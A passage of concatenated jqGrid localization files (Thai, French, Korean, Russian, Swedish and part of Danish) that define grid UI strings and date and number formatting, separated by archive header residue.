oper:'ew', text:"ลงท้ายด้วย"},{ oper:'en', text:"ไม่ลงท้ายด้วย"},{ oper:'cn', text:"มีคำว่า"},{ oper:'nc', text:"ไม่มีคำว่า"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "และ", text: "ทั้งหมด" }, { op: "หรือ", text: "ใดๆ" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "เพิ่มข้อมูล", editCaption: "แก้ไขข้อมูล", bSubmit: "บันทึก", bCancel: "ยกเลิก", bClose: "ปิด", saveData: "คุณต้องการบันทึการแก้ไข ใช่หรือไม่?", bYes : "บันทึก", bNo : "ละทิ้งการแก้ไข", bExit : "ยกเลิก", msg: { required:"ข้อมูลนี้จำเป็น", number:"กรุณากรอกหมายเลขให้ถูกต้อง", minValue:"ค่าของข้อมูลนี้ต้องไม่น้อยกว่า", maxValue:"ค่าของข้อมูลนี้ต้องไม่มากกว่า", email: "อีเมลล์นี้ไม่ถูกต้อง", integer: "กรุณากรอกเป็นจำนวนเต็ม", date: "กรุณากรอกวันที่ให้ถูกต้อง", url: "URL ไม่ถูกต้อง URL จำเป็นต้องขึ้นต้นด้วย 'http://' หรือ 'https://'", nodefined : "ไม่ได้ถูกกำหนดค่า!", novalue : "ต้องการการคืนค่า!", customarray : "ฟังก์ชันที่สร้างขึ้นต้องส่งค่ากลับเป็นแบบแอเรย์", customfcheck : "ระบบต้องการฟังก์ชันที่สร้างขึ้นสำหรับการตรวจสอบ!" } }, view : { caption: "เรียกดูข้อมูล", bClose: "ปิด" }, del : { caption: "ลบข้อมูล", msg: "คุณต้องการลบข้อมูลที่ถูกเลือก ใช่หรือไม่?", bSubmit: "ต้องการลบ", bCancel: "ยกเลิก" }, nav : { edittext: "", edittitle: "แก้ไขข้อมูล", addtext:"", addtitle: "เพิ่มข้อมูล", deltext: "", deltitle: "ลบข้อมูล", searchtext: "", searchtitle: "ค้นหาข้อมูล", refreshtext: "", refreshtitle: "รีเฟรช", alertcap: "คำเตือน", alerttext: "กรุณาเลือกข้อมูล", viewtext: "", viewtitle: "ดูรายละเอียดข้อมูล", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "กรุณาเลือกคอลัมน์", bSubmit: "ตกลง", bCancel: "ยกเลิก" }, errors : { errcap : "เกิดความผิดพลาด", nourl : "ไม่ได้กำหนด URL", norecords: "ไม่มีข้อมูลให้ดำเนินการ", model : "จำนวนคอลัมน์ไม่เท่ากับจำนวนคอลัมน์โมเดล!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "อา", "จ", "อ", "พ", "พฤ", "ศ", "ส", "อาทิตย์", "จันทร์", "อังคาร", "พุธ", "พฤหัสบดี", "ศูกร์", "เสาร์" ], monthNames: [ "ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.", "มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน", "กรกฏาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return ''}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-fr.js000064400000015034151677266200010470 0ustar00/** * jqGrid French Translation * Tony Tomov tony@trirand.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["fr"] = { defaults : { recordtext: "Enregistrements {0} - {1} sur {2}", emptyrecords: "Aucun enregistrement à afficher", loadtext: "Chargement...", savetext: "Sauvegarde en cours...", pgtext : "Page {0} de {1}", pgfirst : "Première page", pglast : "Dernière page", pgnext : "Page suivante", pgprev : "Page précédente", pgrecs : "Enregistrements par page", showhide: "Réduire/Agrandir la grille", // mobile pagerCaption : "Grille::Options de pagination", pageText : "Page:", recordPage: "Enregistrements par page", nomorerecs : "Plus de données...", scrollPullup: "Glisser vers le haut pour charger plus de données...", scrollPulldown : "Glisser vers le bas pour rafraîchir...", scrollRefresh : "Relâcher pour rafraîchir...", valueCheckbox : "Case à cocher", valT : "cochée", valF : "décochée", selectLine : "Sélectionner une ligne", selectAllLines : "Sélectionner toutes les lignes" }, search : { caption: "Recherche...", Find: "Chercher", Reset: "Réinitialiser", odata: [{ oper:'eq', text:"égal"},{ oper:'ne', text:"différent"},{ oper:'lt', text:"inférieur"},{ oper:'le', text:"inférieur ou égal"},{ oper:'gt', text:"supérieur"},{ oper:'ge', text:"supérieur ou égal"},{ oper:'bw', text:"commence par"},{ oper:'bn', text:"ne commence pas par"},{ oper:'in', text:"est dans"},{ oper:'ni', text:"n'est pas dans"},{ oper:'ew', text:"finit par"},{ oper:'en', text:"ne finit pas par"},{ oper:'cn', text:"contient"},{ oper:'nc', text:"ne contient pas"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'entre'}], groupOps: [ { op: "AND", text: "tous" }, { op: "OR", text: "au moins un" } ], operandTitle : "Cliquer pour sélectionner l'opérateur.", resetTitle : "Réinitialiser la valeur de recherche", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filtre pour" }, edit : { addCaption: "Ajouter", editCaption: "Éditer", bSubmit: "Valider", bCancel: "Annuler", bClose: "Fermer", saveData: "Les données ont changé ! Enregistrer les modifications ?", bYes: "Oui", bNo: "Non", bExit: "Annuler", msg: { required: "Champ obligatoire", number: "Saisissez un nombre correct", minValue: "La valeur doit être supérieure ou égale à", maxValue: "La valeur doit être inférieure ou égale à", email: "n'est pas un email valide", integer: "Saisissez un entier valide", url: "n'est pas une adresse valide. Préfixe requis ('http://' or 'https://')", nodefined : " n'est pas défini!", novalue : " la valeur de retour est requise!", customarray : "Une fonction personnalisée devrait retourner un tableau (array)!", customfcheck : "Une fonction personnalisée devrait être présente dans le cas d'une vérification personnalisée!" } }, view : { caption: "Voir les enregistrements", bClose: "Fermer" }, del : { caption: "Supprimer", msg: "Supprimer les enregistrements sélectionnés ?", bSubmit: "Supprimer", bCancel: "Annuler" }, nav : { edittext: " ", edittitle: "Editer la ligne sélectionnée", addtext:" ", addtitle: "Ajouter une ligne", deltext: " ", deltitle: "Supprimer la ligne sélectionnée", searchtext: " ", searchtitle: "Chercher un enregistrement", refreshtext: "", refreshtitle: "Recharger le tableau", alertcap: "Avertissement", alerttext: "Veuillez sélectionner une ligne", viewtext: "", viewtitle: "Afficher la ligne sélectionnée", savetext: "", savetitle: "Sauvegarder la ligne", canceltext: "", canceltitle : "Annuler l'édition de la ligne", selectcaption : "Actions..." }, col : { caption: "Afficher/Masquer les colonnes", bSubmit: "Valider", bCancel: "Annuler" }, errors : { errcap : "Erreur", nourl : "Aucune adresse n'est paramétrée", norecords: "Aucun enregistrement à traiter", model : "Nombre de titres (colNames) <> Nombre de données (colModel)!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Dim", "Lun", "Mar", "Mer", "Jeu", "Ven", "Sam", "Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi" ], monthNames: [ "Jan", "Fév", "Mar", "Avr", "Mai", "Jui", "Jul", "Aou", "Sep", "Oct", "Nov", "Déc", "Janvier", "Février", "Mars", "Avril", "Mai", "Juin", "Juillet", "Aout", "Septembre", "Octobre", "Novembre", "Décembre" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j == 1 ? 'er' : 'e';}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Trier en ordre croissant", sortdesc: "Trier en ordre décroissant", columns : "Colonnes", filter : "Filtrer", grouping : "Grouper par", ungrouping : "Séparer", searchTitle : "Prendre les items avec la valeur:", freeze : "Figer", unfreeze : "Relâcher", reorder : "Déplacer pour changer l'ordre", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-kr.js000064400000014124151677266200010474 0ustar00/** * jqGrid English Translation * Tony Tomov tony@trirand.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["kr"] = { defaults : { recordtext: "보기 {0} - {1} / {2}", emptyrecords: "표시할 행이 없습니다", loadtext: "조회중...", pgtext : "페이지 {0} / {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "검색...", Find: "찾기", Reset: "초기화", odata: [{ oper:'eq', text:"같다"},{ oper:'ne', text:"같지 않다"},{ oper:'lt', text:"작다"},{ oper:'le', text:"작거나 같다"},{ oper:'gt', text:"크다"},{ oper:'ge', text:"크거나 같다"},{ oper:'bw', text:"로 시작한다"},{ oper:'bn', text:"로 시작하지 않는다"},{ oper:'in', text:"내에 있다"},{ oper:'ni', text:"내에 있지 않다"},{ oper:'ew', text:"로 끝난다"},{ oper:'en', text:"로 끝나지 않는다"},{ oper:'cn', text:"내에 존재한다"},{ oper:'nc', text:"내에 존재하지 않는다"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "전부" }, { op: "OR", text: "임의" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "행 추가", editCaption: "행 수정", bSubmit: "전송", bCancel: "취소", bClose: "닫기", saveData: "자료가 변경되었습니다! 저장하시겠습니까?", bYes : "예", bNo : "아니오", bExit : "취소", msg: { required:"필수항목입니다", number:"유효한 번호를 입력해 주세요", minValue:"입력값은 크거나 같아야 합니다", maxValue:"입력값은 작거나 같아야 합니다", email: "유효하지 않은 이메일주소입니다", integer: "유효한 숫자를 입력하세요", date: "유효한 날짜를 입력하세요", url: "은 유효하지 않은 URL입니다. 문장앞에 다음단어가 필요합니다('http://' or 'https://')", nodefined : " 은 정의도지 않았습니다!", novalue : " 반환값이 필요합니다!", customarray : "사용자정의 함수는 배열을 반환해야 합니다!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "행 조회", bClose: "닫기" }, del : { caption: "삭제", msg: "선택된 행을 삭제하시겠습니까?", bSubmit: "삭제", bCancel: "취소" }, nav : { edittext: "", edittitle: "선택된 행 편집", addtext:"", addtitle: "행 삽입", deltext: "", deltitle: "선택된 행 삭제", searchtext: "", searchtitle: "행 찾기", refreshtext: "", refreshtitle: "그리드 갱신", alertcap: "경고", alerttext: "행을 선택하세요", viewtext: "", viewtitle: "선택된 행 조회", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "열을 선택하세요", bSubmit: "확인", bCancel: "취소" }, errors : { errcap : "오류", nourl : "설정된 url이 없습니다", norecords: "처리할 행이 없습니다", model : "colNames의 길이가 colModel과 일치하지 않습니다!" }, formatter : { integer : {thousandsSeparator: ",", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: ",", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Sun", "Mon", "Tue", "Wed", "Thr", "Fri", "Sat", "일", "월", "화", "수", "목", "금", "토" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", "1월", "2월", "3월", "4월", "5월", "6월", "7월", "8월", "9월", "10월", "11월", "12월" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'm-d-Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "Y/j/n", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-ru.js000064400000017765151677266200010524 0ustar00/** * jqGrid Russian Translation v1.0 02.07.2009 (based on translation by Alexey Kanaev v1.1 21.01.2009, http://softcore.com.ru) * Sergey Dyagovchenko * http://d.sumy.ua * Tony Tomov * http://www.guriddo.net * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["ru"] = { defaults : { recordtext: "Просмотр {0} - {1} из {2}", emptyrecords: "Нет записей для просмотра", loadtext: "Загрузка...", pgtext : "Стр. {0} из {1}", savetext: "Сохранения...", pgfirst : "Первая", pglast : "Последняя", pgnext : "Следующая", pgprev : "Предыдущая", pgrecs : "Записей на стр.", showhide: "Показать/Скрыть таблицу", // mobile pagerCaption : "Грид::Параметры страницы", pageText : "Страница:", recordPage : "Записей на стр.", nomorerecs : "Нет больше записей...", scrollPullup: "Потяните, чтобы загрузить более...", scrollPulldown : "Потяните вниз чтобы обновить...", scrollRefresh : "Отпустите, чтобы обновить...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Поиск...", Find: "Найти", Reset: "Сброс", odata: [{ oper:'eq', text:"равно"},{ oper:'ne', text:"не равно"},{ oper:'lt', text:"меньше"},{ oper:'le', text:"меньше или равно"},{ oper:'gt', text:"больше"},{ oper:'ge', text:"больше или равно"},{ oper:'bw', text:"начинается с"},{ oper:'bn', text:"не начинается с"},{ oper:'in', text:"находится в"},{ oper:'ni', text:"не находится в"},{ oper:'ew', text:"заканчивается на"},{ oper:'en', text:"не заканчивается на"},{ oper:'cn', text:"содержит"},{ oper:'nc', text:"не содержит"},{ oper:'nu', text:"равно NULL"},{ oper:'nn', text:"не равно NULL"}, {oper:'bt', text:'между'}], groupOps: [ { op: "AND", text: "все" }, { op: "OR", text: "любой" }], operandTitle : "Выбрать поисковую операцию.", resetTitle : "Сбросить поиск", addsubgrup : "Добавить группу", addrule : "Добавить правило", delgroup : "Удалить группу", delrule : "Удалить правило", Close : "Закрыть", Operand : "Операнд : ", Operation : "Опер. : ", filterFor : "filter for" }, edit : { addCaption: "Добавить запись", editCaption: "Редактировать запись", bSubmit: "Сохранить", bCancel: "Отмена", bClose: "Закрыть", saveData: "Данные были измененны! Сохранить изменения?", bYes : "Да", bNo : "Нет", bExit : "Отмена", msg: { required:"Поле является обязательным", number:"Пожалуйста, введите правильное число", minValue:"значение должно быть больше либо равно", maxValue:"значение должно быть меньше либо равно", email: "некорректное значение e-mail", integer: "Пожалуйста, введите целое число", date: "Пожалуйста, введите правильную дату", url: "неверная ссылка. Необходимо ввести префикс ('http://' или 'https://')", nodefined : " не определено!", novalue : " возвращаемое значение обязательно!", customarray : "Пользовательская функция должна возвращать массив!", customfcheck : "Пользовательская функция должна присутствовать в случаи пользовательской проверки!" } }, view : { caption: "Просмотр записи", bClose: "Закрыть" }, del : { caption: "Удалить", msg: "Удалить выбранную запись(и)?", bSubmit: "Удалить", bCancel: "Отмена" }, nav : { edittext: " ", edittitle: "Редактировать выбранную запись", addtext:" ", addtitle: "Добавить новую запись", deltext: " ", deltitle: "Удалить выбранную запись", searchtext: " ", searchtitle: "Найти записи", refreshtext: "", refreshtitle: "Обновить таблицу", alertcap: "Внимание", alerttext: "Пожалуйста, выберите запись", viewtext: "", viewtitle: "Просмотреть выбранную запись", savetext: "", savetitle: "Сохранить запись", canceltext: "", canceltitle : "Отмена сохранения", selectcaption : "Действия..." }, col : { caption: "Показать/скрыть столбцы", bSubmit: "Сохранить", bCancel: "Отмена" }, errors : { errcap : "Ошибка", nourl : "URL не установлен", norecords: "Нет записей для обработки", model : "Число полей не соответствует числу столбцов таблицы!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Вс", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб", "Воскресение", "Понедельник", "Вторник", "Среда", "Четверг", "Пятница", "Суббота" ], monthNames: [ "Янв", "Фев", "Мар", "Апр", "Май", "Июн", "Июл", "Авг", "Сен", "Окт", "Ноя", "Дек", "Январь", "Февраль", "Март", "Апрель", "Май", "Июнь", "Июль", "Август", "Сентябрь", "Октябрь", "Ноябрь", "Декабрь" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'd.m.Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n.j.Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y G:i:s", MonthDay: "F d", ShortTime: "G:i", LongTime: "G:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Сортировка по возрастанию", sortdesc : "Сортировка по убыванию", columns : "Колонны", filter : "Филтрировать", grouping : "Группа по", ungrouping : "Разгруппировать", searchTitle : "Строки со значениями", freeze : "Закрепление", unfreeze : "Отмена закрепление", reorder : "Переместить в порядок", hovermenu: "Щелкните, чтобы перейти к быстрым действиям в столбце " } }; })); i18n/grid.locale-sv.js000064400000014117151677266200010512 0ustar00/** * jqGrid Swedish Translation * Harald Normann harald.normann@wts.se, harald.normann@gmail.com * http://www.worldteamsoftware.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["sv"] = { defaults : { recordtext: "Visar {0} - {1} av {2}", emptyrecords: "Det finns inga poster att visa", loadtext: "Laddar...", pgtext : "Sida {0} av {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Sök Poster - Ange sökvillkor", Find: "Sök", Reset: "Nollställ Villkor", odata: [{ oper:'eq', text:"lika"},{ oper:'ne', text:"ej lika"},{ oper:'lt', text:"mindre"},{ oper:'le', text:"mindre eller lika"},{ oper:'gt', text:"större"},{ oper:'ge', text:"större eller lika"},{ oper:'bw', text:"börjar med"},{ oper:'bn', text:"börjar inte med"},{ oper:'in', text:"tillhör"},{ oper:'ni', text:"tillhör inte"},{ oper:'ew', text:"slutar med"},{ oper:'en', text:"slutar inte med"},{ oper:'cn', text:"innehåller"},{ oper:'nc', text:"innehåller inte"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "alla" }, { op: "OR", text: "eller" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Ny Post", editCaption: "Redigera Post", bSubmit: "Spara", bCancel: "Avbryt", bClose: "Stäng", saveData: "Data har ändrats! Spara förändringar?", bYes : "Ja", bNo : "Nej", bExit : "Avbryt", msg: { required:"Fältet är obligatoriskt", number:"Välj korrekt nummer", minValue:"värdet måste vara större än eller lika med", maxValue:"värdet måste vara mindre än eller lika med", email: "är inte korrekt e-post adress", integer: "Var god ange korrekt heltal", date: "Var god ange korrekt datum", url: "är inte en korrekt URL. Prefix måste anges ('http://' or 'https://')", nodefined : " är inte definierad!", novalue : " returvärde måste anges!", customarray : "Custom funktion måste returnera en vektor!", customfcheck : "Custom funktion måste finnas om Custom kontroll sker!" } }, view : { caption: "Visa Post", bClose: "Stäng" }, del : { caption: "Radera", msg: "Radera markerad(e) post(er)?", bSubmit: "Radera", bCancel: "Avbryt" }, nav : { edittext: "", edittitle: "Redigera markerad rad", addtext:"", addtitle: "Skapa ny post", deltext: "", deltitle: "Radera markerad rad", searchtext: "", searchtitle: "Sök poster", refreshtext: "", refreshtitle: "Uppdatera data", alertcap: "Varning", alerttext: "Ingen rad är markerad", viewtext: "", viewtitle: "Visa markerad rad", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Välj Kolumner", bSubmit: "OK", bCancel: "Avbryt" }, errors : { errcap : "Fel", nourl : "URL saknas", norecords: "Det finns inga poster att bearbeta", model : "Antal colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"Kr", defaultValue: '0,00'}, date : { dayNames: [ "Sön", "Mån", "Tis", "Ons", "Tor", "Fre", "Lör", "Söndag", "Måndag", "Tisdag", "Onsdag", "Torsdag", "Fredag", "Lördag" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dec", "Januari", "Februari", "Mars", "April", "Maj", "Juni", "Juli", "Augusti", "September", "Oktober", "November", "December" ], AmPm : ["fm","em","FM","EM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'Y-m-d', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-dk.js000064400000013734151677266200010464 0ustar00/** * jqGrid Danish Translation * Kaare Rasmussen kjs@jasonic.dk * http://jasonic.dk/blog * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["dk"] = { defaults : { recordtext: "View {0} - {1} of {2}", emptyrecords: "No records to view", loadtext: "Loading...", savetext: "Saving...", pgtext : "Page {0} of {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Søg...", Find: "Find", Reset: "Nulstil", odata: [{ oper:'eq', text:'equal'},{ oper:'ne', text:'not equal'},{ oper:'lt', text:'less'},{ oper:'le', text:'less or equal'},{ oper:'gt', text:'greater'},{ oper:'ge', text:'greater or equal'},{ oper:'bw', text:'begins with'},{ oper:'bn', text:'does not begin with'},{ oper:'in', text:'is in'},{ oper:'ni', text:'is not in'},{ oper:'ew', text:'ends with'},{ oper:'en', text:'does not end with'},{ oper:'cn', text:'contains'},{ oper:'nc', text:'does not contain'},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "all" }, { op: "OR", text: "any" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : 